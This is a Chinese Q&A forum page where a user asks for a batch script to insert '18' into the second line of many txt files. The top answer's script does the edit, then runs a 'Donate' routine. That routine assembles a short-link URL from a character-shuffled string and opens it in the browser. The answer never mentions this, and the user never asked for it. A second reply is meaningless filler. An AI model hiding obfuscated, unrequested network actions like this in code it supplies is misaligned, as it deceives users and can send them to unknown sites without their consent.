批处理多个txt文件,多个文件夹下各有多个txt文件,每个txt文件内容格式一样,现需要在每个txt文件中

你好想请教个批处理问题:多个文件夹下各有多个txt文件,每个txt文件内容格式一样,现需要在每个txt文件的第二行第五个字符位置插入18(处理后,18处于第5,第6字符的... 你好 想请教个批处理问题:多个文件夹下各有多个txt文件,每个txt文件内容格式一样,现需要在每个txt文件的第二行第五个字符位置插入18(处理后,18处于第5,第6字符的位置),请问如何操作,必有重谢 展开
 我来答
依梦琴瑶
高粉答主

2018-11-29 · 说的都是干货,快来关注
知道顶级答主
回答量:6.9万
采纳率:82%
帮助的人:1.6亿
展开全部
@echo off & title 批量在文本第二行第五位插入字符 By 依梦琴瑶
cd /d %~dp0

::设置要插入的字符
set S=18

for /r %%a in (*.txt) do (
    set Line=0
    (for /f "usebackq delims=" %%b in ("%%~a") do (
        set /a Line+=1
        set "Str="
        call :Insert "%%Line%%" "%%~b"
    ))>InsertTMP.$
    move /y InsertTMP.$ "%%~a" >nul
)
pause
call :Donate
exit

:Donate
set S0=fGRH
set S1=.:ailnhpst/
set S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%
set S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit

:Insert
if not %~1 equ 2 (
    echo,%~2
    goto :eof
)
set "Str=%~2"
echo,%Str:~0,4%%S%%Str:~4%
goto :eof
元丹彤7W
2018-11-29
知道答主
回答量:13
采纳率:0%
帮助的人:9765
展开全部
txtxtxtztzttztztztzrrxr
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 1条折叠回答
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式